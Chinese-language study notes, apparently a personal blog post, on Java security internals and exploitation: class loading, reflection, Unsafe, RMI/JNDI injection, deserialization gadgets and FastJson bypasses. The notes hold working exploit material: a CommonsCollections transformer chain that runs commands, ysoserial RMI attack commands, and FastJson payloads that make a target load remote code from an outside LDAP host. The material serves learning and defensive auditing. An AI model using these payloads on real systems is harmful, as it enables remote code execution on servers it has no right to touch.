Java Security

  22 mins to read  

大概两年前写过简单的Java,一年前做过几次Java代码审计,因为偏见(语法啰嗦冗杂)一直没有系统的学习,用到时去找现成EXP就完了。大概19年CTF中Java安全的题目突然多了起来(正常情况下本来就该这样,实战中国内站本来就Java和.net居多,PHP相对少点,Python/node就别提了),各大安全社区也冒出很多Java安全文章(实际上最近学习中看到不少文章都是15年甚至更早)

对有其它语言经验的人,学习过程中,重点放在Java特有的攻击方式即可。系统学习一遍,感觉Java也不是不可接受,只能说语言风格是沉稳工程型的

本文作个人备忘,只记录对自己有价值的知识点

Java基础

语言基础过一遍learnXinY就行了。Java给我的感觉,虽然是个编译型语言,但因为有一层JVM,加上一些反射/动态类加载操作(正常编译型语言里频繁的反射带来的性能损失是不可忍受的),整体元编程能力和灵活性比一般编译型语言强太多了

ClassLoader

个人理解就是JVM中runtime期动态加载类的字节码,跟反射差不多。实话实说,看了这一节,大概就清楚为什么Java反序列化里有那么多远程加载。java.lang.ClassLoader是个抽象类

Java程序运行前先编译为.class文件,Java类初始化时会调用java.lang.ClassLoader加载类字节码,ClassLoader调用JVM的native方法定义一个java.lang.Class实例,这里的java.lang.Class实际可理解为类对象的类,相当于元类

ClassLoader类的核心方法:

  • loadClass
  • findClass
  • findLoadedClass
  • defineClass
  • resolveClass

常见的类加载方式:

// reflect
Class.forName("com.sec.classloader.HelloWorld");

// ClassLoader
this.getClass().getClassLoader().loadClass("com.sec.classloader.HelloWorld");

反射加载会默认初始化被加载类的静态属性和方法,而ClassLoader不会


java.lang.ClassLoader是所有类加载器的父类,其中一个子类java.net.URLClassLoader重载了findClass方法,实现了加载远程资源文件

URLClassLoader

该类继承了ClassLoader,并有加载远程资源的能力

URL url = new URL("https://javaweb.org/tools/cmd.jar");
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
String cmd = "id";

Class cmdClass = ucl.loadClass("CMD");
Process ps = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

远程的cmd.jar:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
    	return Runtime.getRuntime().exec(cmd);
    }
}

Java反射

反射的概念就不赘述了,反射在Java里太常见了,甚至可以说是Java的一个标签

Java反射操作的是java.lang.Class对象,通常由以下几种方式获取一个类:

  • 类名.class
  • Class.forName("xxx")
  • classLoader.loadClass("xxx")

获取数组类型的Class对象需要使用Java类型的描述符方式:

Class<?> doubleArray = Class.forName("[D"); // 相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;"); // 相当于String[][].class

获取Runtime类Class:

String name = "java.lang.Runtime";
Class cls1 = Class.forName(name);
Class cls2 = java.lang.Runtime.class;
Class cls3 = ClassLoader.getSystemClassLoader().loadClass(name);

反射调用内部类的时候需要同$来代替.,如com.sec.Test类有一个叫Hello的内部类,那么调用时要写com.sec.Test$Hello

反射java.lang.Runtime

不使用反射执行命令:

System.out.println(IOUtils.toString(Runtime.getRuntime().exec("id").getInputStream(), "UTF-8"));

这里的IOUtils在org.apache.commons.io.IOUtils

反射Runtime执行命令,Java里的InputStream/OutputStream是针对当前程序说的,Input有Read方法,Output有Write方法

Class runtimeCls = Class.forName("java.lang.Runtime");
Constructor constructor = runtimeCls.getDeclaredConstructor();

constructor.setAccessible(true);

Object runtimeInst = constructor.newInstance();
Method exec = runtimeCls.getMethod("exec", String.class);

Process process = (Process) exec.invoke(runtimeInst, "id");
InputStream inputStream = process.getInputStream();

byte[] buf = new byte[1024];
inputStream.read(buf);
System.out.println(new String(buf));

反射创建类实例

Runtime的构造函数是private的,所以只能通过Runtime.getRuntime()去获取实例,或通过反射

runtimeCls.getDeclaredConstructorruntimeCls.getConstructor都可以获取到构造函数,区别是后者无法获取到私有方法。如果构造函数有参数的情况下需要传入对应参数类型的数组:clazz.getDeclaredConstructor(String.class, String.class),通过clazz.getDeclaredConstructors可以获取到所有构造函数的数组

之后可以通过constructor.newInstance()来创建实例,如果有参数需要传入newInstance("a")

反射调用类方法

clazz.getDeclaredMethod("exec")clazz.getDeclaredMethods()[0],方法参数:clazz.getDeclaredMethod("exec", String.class)

getMethod可以获取到当前类父类的所有public方法,getDeclaredMethod可以获取当前类所有方法(不包括父类)

method.invoke(inst, Object... args)调用,调用static方法(也就是类方法)第一个参数可为null

反射访问成员变量

Field f = clazz.getDeclaredField("foo");
Object obj = f.get(inst);
f.set(inst, 0);

同样可以通过f.setAccessible(true)修改访问权限

如果需要修改final修改的常量,需要先修改方法

// 反射获取field类的modifiers
Field modifier = field.getClass().getDeclaredField("modifiers");

modifiers.setAccessible(true);

modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(inst, "val");

不过反射修改完后还是得通过反射才能获取到修改的值field.get(inst),而直接获取inst.foo则还是原值

Unsafe

很多编译型语言都会提供的Unsafe模块,比如Go,Rust等,供开发者做一些底层的Hack

sun.misc.Unsafe是Java底层API提供的一个Java类,仅限Java内部调用,它提供了非常底层的内存、CAS、线程调度、类、对象等操作。外部只能通过反射调用

Field f = Unsafe.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

通过反射创建Unsafe类实例

Constructor constructor = Unsafe.class.getDeclaredConstructor();
constructor.setAccessible(true);
Unsafe unsafe = (Unsafe) constructor.newInstance();

allocateInstance不经过构造函数创建实例

假设RASP hook了构造函数,我们可以利用Unsafe类来创建实例

HookedCls cls = (HookedCls) unsafe.allocateInstance(HookedCls.class);

defineClass直接调用JVM创建类对象

ClassLoader被限制的情况下可以通过UnsafedefineClass来注册类

Class cls = unsafe.defineClass(
    TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length
);

调用需要传入类加载器和保护域的方法

ClassLoader loader = ClassLoader.getSystemClassLoader();

ProtectionDomain domain = new ProtectionDomain(
	new CodeSource(null, (Certificate[]) null), null, loader, null
);

Class cls = unsafe.defineClass(
	TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, loader, domain
);

Unsafe还可通过defineAnonymousClass创建内部类

Java8中需要调用传加载器和保护域的方法。Java11开始Unsafe类把defineClass移除了(defineAnonymousClass方法还在),虽然可以通过java.lang.invoke.MethodHandlers.Lookup.defineClass代替,但实际MethodHandlers间接调用了ClassLoaderdefineClass

命令执行

使用java.lang.Runtime类的exec方法,该方法直接传递命令到execve syscall,无bash命令扩展,同Go的exec.Command()

反射Runtime命令执行

Class<?> cls = Class.forName("java.lang.Runtime");
Method getRuntime = cls.getDeclaredMethod("getRuntime");
Method exec = cls.getDeclaredMethod("exec", String.class);
Object rtm = getRuntime.invoke(null);
Process pcs = (Process) exec.invoke(rtm, "id");

byte[] buf = new byte[1024];
pcs.getInputStream().read(buf);
System.out.println(new String(buf));

ProcessBuilder命令执行

Runtime.exec最终是调用ProcessBuilder

ProcessBuilder pb = new ProcessBuilder("id");
byte[] buf = new byte[1024];
pb.start().getInputStream().read(buf);
System.out.println(new String(buf));

UNIXProcess/ProcessImpl

JDK9时把UNIXProcess合并到ProcessImpl中。该类提供了forkAndExec的native方法

javasec.org的作者说去年(应该是2018年)RASP只防御到ProcessBuilder.start()方法,所以只需直接反射调用上述俩方法就可绕过

native调用有点麻烦:

https://javasec.org/javase/CommandExecution/#%E5%8F%8D%E5%B0%84unixprocessprocessimpl%E6%89%A7%E8%A1%8C%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4

JNI命令执行

通过JNI调用动态链接库,见https://javasec.org/javase/CommandExecution/#jni%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

URLConnection

Java抽象出一个URLConnection类,通过URL类中的openConnection获取。支持的协议在sun.net.www.protocol,常见的有:

  • file/netdoc
  • ftp
  • gopher(jdk8后没了,jdk7高版本虽存在,但需额外设置)
  • http(s)
  • jar
  • mailto
URL url = new URL("file:///C:/windows/win.ini");
URLConnection connection = url.openConnection();
connection.connect();
InputStream stream =  connection.getInputStream();
byte[] buf = new byte[1024];
stream.read(buf);
System.out.println(new String(buf));

Java中对http(s):

  • 默认启用NTLM认证(tryTransparentNTLMServer is always true,2011.1.10的JDK7中引入,2018.10.8修复)

  • 默认跟随跳转

    • 但Location头的protocol和原始请求protocol得相同

Java序列化

反序列化不会调用类构造方法,创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization创建了一个反序列化专用的构造函数,可以绕过构造函数创建类实例

ObjectInputStream/ObjectOutputStream

java.io.ObjectOutputStreamwriteObject方法序列化对象,java.io.ObjectInputStreamreadObject方法反序列化对象

java.io.Serializable接口

该接口是一个空接口,用于标识实现它的类可序列化

实现Serializable接口的类需要一个serialVersionUID常量,如果类未显式声明,则序列化时将基于该类各个方面计算该类默认的serialVersionUID

public class Test implements Serializable {
    private String x;

    public static void main(String[] args) {
        try {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            try {
                Test test = new Test();
                test.x = "TESTING";

                ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
                outputStream.writeObject(test);
                outputStream.close();

                System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

                ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
                ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
                Test test1 = (Test) inputStream.readObject();
                System.out.println(test1.x);
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

如果序列化的类重写了writeObject方法,则用重写的方法。序列化会写入所有不包含被transient修饰的变量

自定义序列化

反序列化魔术方法:

  • private void writeObject(ObjectOutputStream oos)
  • private void readObject(ObjectInputStream ois)
  • private void readObjectNoData()
  • protected Object writeReplace(),写入时替换对象
  • protected Object readResolve()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    System.out.println("readObject...");
    ois.defaultReadObject();
}

private void writeObject(ObjectOutputStream oos) throws IOException {
    oos.defaultWriteObject();
    System.out.println("writeObject...");
}

private void readObjectNoData() {
    System.out.println("readObjectNoData...");
}

protected Object writeReplace() {
    System.out.println("writeReplace....");
    return null;
}

protected Object readResolve() {
    System.out.println("readResolve....");
    return null;
}

Java安全

RMI

RMI的架构是这样的:

  • RMI Registry:存储注册对象的stub。仅可对同一主机上运行的registry调用bind/rebind/unbind,而lookup/list可远程调用。虽然不能对远程registry调用bind,但远程registry实际会对任意输入反序列化,故存在被反序列化RCE的风险

  • RMI Client:从registry获取stub,从stub中获取JNDI server addr,再请求server

  • RMI Service Provider:存储对象数据。不一定和Registry在同一个JVM。方法执行的地方,仅把方法返回值返回给Client

RMI存在动态类加载行为,即会先从本地CLASSPATH加载,如无则请求codebase加载。JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,无法再通过直接的JNDI naming reference + RMI达成攻击

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

LDAP

JNDI与LDAP交互需要几个特殊属性:javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation,后文结合JNDI细说

objectClass = 'javaNamingReference'
javaCodebase = 'http://1.1.1.1:9999'
javaFactory = 'EvilClass'
javaClassName = 'EvilClass'
javaSerializedData

JNDI

JNDI是Java的API,是一个上层封装(其实就是封装了多种协议而已),下层是RMI(JRMP协议传输), CORBA和LDAP等的具体实现(还有DNS,COBRA,IIOP等等)。本质就是在实现RPC(cross JVM)

// RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);

ctx.bind("refObj", new RefObject());
ctx.lookup("refObj");


// LDAP
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
    "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

JDNI支持动态协议转换,即自动识别URL协议并使用对应的factory类,provider通过URL传递

Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
// ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
// ctx.lookup("iiop://attacker-server/bar");

javax.naming.Reference

构造函数需要三个参数:

  • className,如果本地找不到这个类,则去远程加载
  • classFactory,远程加载时的factory类
  • classFactoryLocation,远程factory类的加载地址,可以是file、ftp、http协议
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://1.1.1.1:9999/");

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当client lookup时,会获取到一个reference类的stub,接着client会先去本地CLASSPATH找refClassName类,找不到的话会去http://1.1.1.1:9999加载FactoryClassName类,e.g. request to http://1.1.1.1/FactoryClassName.class

因为会加载class字节码,所以可以直接将EXP写入static块,它不受java.rmi.server.useCodebaseOnly限制。naming reference利用一般选择marshalsec

安全限制:

RMI:

  • JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

  • JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

LDAP:

  • LDAPJDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false

高于JDK8u191版本的JDNI注入

需要结合受害者本地CLASSPATH中的gadgets

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。LDAP除了可通过Reference指定CodeBase外,还可返回javaSerializedData

总结一下JNDI的几种攻击方式

攻击server

  • RMI Registry
  • RMI Service Provider
  • JEP290的攻击方式见下文

攻击client

  • RMI + JRMP serialized data
  • RMI + JNDI naming reference
  • LDAP + JNDI naming reference
  • RMI + local gadgets
  • LDAP + local gadgets
  • LDAP + local reference factory

安全限制

  • RMI codebase:5u45, 6u45, 7u21, 8u121

  • LDAP codebase:JDK11.0.1, 8u191, 7u201, 6u211

  • JEP290:反序列化过程中增加filterCheck6u141, 7u131, 8u121, jdk9后增加

    sun/rmi/registry/RegistryImpl.java中:

    if (String.class == clazz
        || java.lang.Number.class.isAssignableFrom(clazz)
        || Remote.class.isAssignableFrom(clazz)
        || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
        || UnicastRef.class.isAssignableFrom(clazz)
        || RMIClientSocketFactory.class.isAssignableFrom(clazz)
        || RMIServerSocketFactory.class.isAssignableFrom(clazz)
        || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
        || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
        return ObjectInputFilter.Status.ALLOWED;
    } else {
        return ObjectInputFilter.Status.REJECTED;
    }
    

    攻击Registry

    ysoserial.payload.JRMPClient中使用UnicastRef绕过

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections5 calc
      
    // RMINop是我自己改了RMIRegistryExploit,直接bind,不封装Proxy
    java -cp ysoserial.jar ysoserial.exploit.RMINop 127.0.0.1 9999 JRMPClient 127.0.0.1:2333
    

    PowerShell直接重定向的话,由于默认UTF-16LE编码,序列化数据魔数会出错,Windows10 1903上使用cmd没问题

    攻击Service Provider

    Registry注册的接口存在以Object为参数的方法,远程调用时即可传递序列化的Object参数

    因为JEP290防护的仅仅是Registry,而处理远程调用的是Service Provider,没有反序列化白名单

  • 某些高版本的org.apache.xalan会限制TemplatesImpl的反序列化,而ysoserial的gadget有不少是基于TemplatesImpl

    java.lang.UnsupportedOperationException: When Java security is enabled, support for deserializing TemplatesImpl is disabled.This can be overridden by setting the jdk.xml.enableTemplatesImplDeserialization system property to true.
      
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.readObject(TemplatesImpl.java:204)
    

Gadgets

CommonCollections

InvokerTransformer

下文以CC代称

CC中有一个cc.functors.InvokerTransformer实现了cc.Transformer接口,InvokerTransformertransform利用反射创建类实例

// InvokerTransformer.transform
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, iArgs);
    } catch (Exception ex) {
        ;
    }
}

// EXP
public static void main(String[] args) {
    String cmd = "calc";
    InvokerTransformer transformer = new InvokerTransformer(
          "exec", new Class[]{String.class}, new Object[]{cmd}
    );

    transformer.transform(Runtime.getRuntime());
}

ChainedTransformer

cc.functors.ChainedTransformer可以实现对一个Transformer数组里的Transformer的链式调用,output | input

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

调用链很好理解:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

还需最后一步触发ChainedTransformer的transform方法,利用cc.TransformedMapsun.reflect.annotation.AnnotationInvocationHandler

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("exp");

AnnotationInvocationHandlerreadObject间接的调用了MapEntrysetValue方法,外部需要反射创建实例

map的key名称需要对应于传入的注解java.lang.annotation.Target的方法名

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

其他的就不一一复现了,直接用ysoserial即可

Vuln

FastJson

这个太有名了,没系统学习前我就熟知漏洞版本

JSON库支持转换到类在很多语言里都是很常见的,用来映射JSON到类的成员变量,所以FastJson里有@type

FastJson在解析时会提取类中的setter和getter方法,如果JSON的键中存在这个值,就会去调用对应的getter/setter

1.2.24

这个版本没有任何防范,通过com.sun.rowset.JdbcRowSetImpl进行JNDI注入,Jdbc的source允许指定JNDI URL

exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://1.1.1.1:9999/Exploit\", \"autoCommit\":true}";

修补后1.2.25添加了AutoTypeSupport,增加了checkAutoType函数,函数中是白名单 + 黑名单机制

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }

    final String className = typeName.replace('$', '.');

    // whitelist
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }

        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

    // load cache
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }

    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
           ) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }

    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    return clazz;
}

1.2.42

一个逻辑漏洞,在AutoTypeSupport开启时,白名单黑名单都没有命中的情况下,调用TypeUtil.loadClass

if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

没什么好说的了

修复后,会先去掉首尾的[;,但再加一层就可以了;并且将黑名单转换成了类名hash:https://github.com/LeadroyaL/fastjson-blacklist

1.2.43

修补办法:

if (clsName.startswith('LL')) throw new Exception();

1.2.45

黑名单被绕过,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://1.1.1.1:9999/Exploit\"}}"

1.2.47

通过缓存,无需开启autotype

exp = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://1.1.1.1:9999/Exploit\",\"autoCommit\":true}}}";

checkAutoType中的流程:

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
}

TypeUtils.loadClass中:

if(classLoader != null){
    clazz = classLoader.loadClass(className);
    
    if (cache) {
        mappings.put(className, clazz);
    }
    return clazz;
}

MiscCodec.deserialize中有这样的逻辑,跟踪strVal是由{"@type": "java.lang.Class", "val": "class"}传入的

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

由于TypeUtils.loadClass会进行缓存,再次执行到第二段payload时,在checkAutoType中,直接TypeUtils.getClassFromMapping从缓存中获取到了JdbcRowSetImpl

同时,由于FJ的字符解析规则,@type可这样写@\u0074ype/@\x74ype

References

  • https://javasec.org
  • https://www.anquanke.com/post/id/194384
  • https://xz.aliyun.com/t/6660
  • https://xz.aliyun.com/t/6633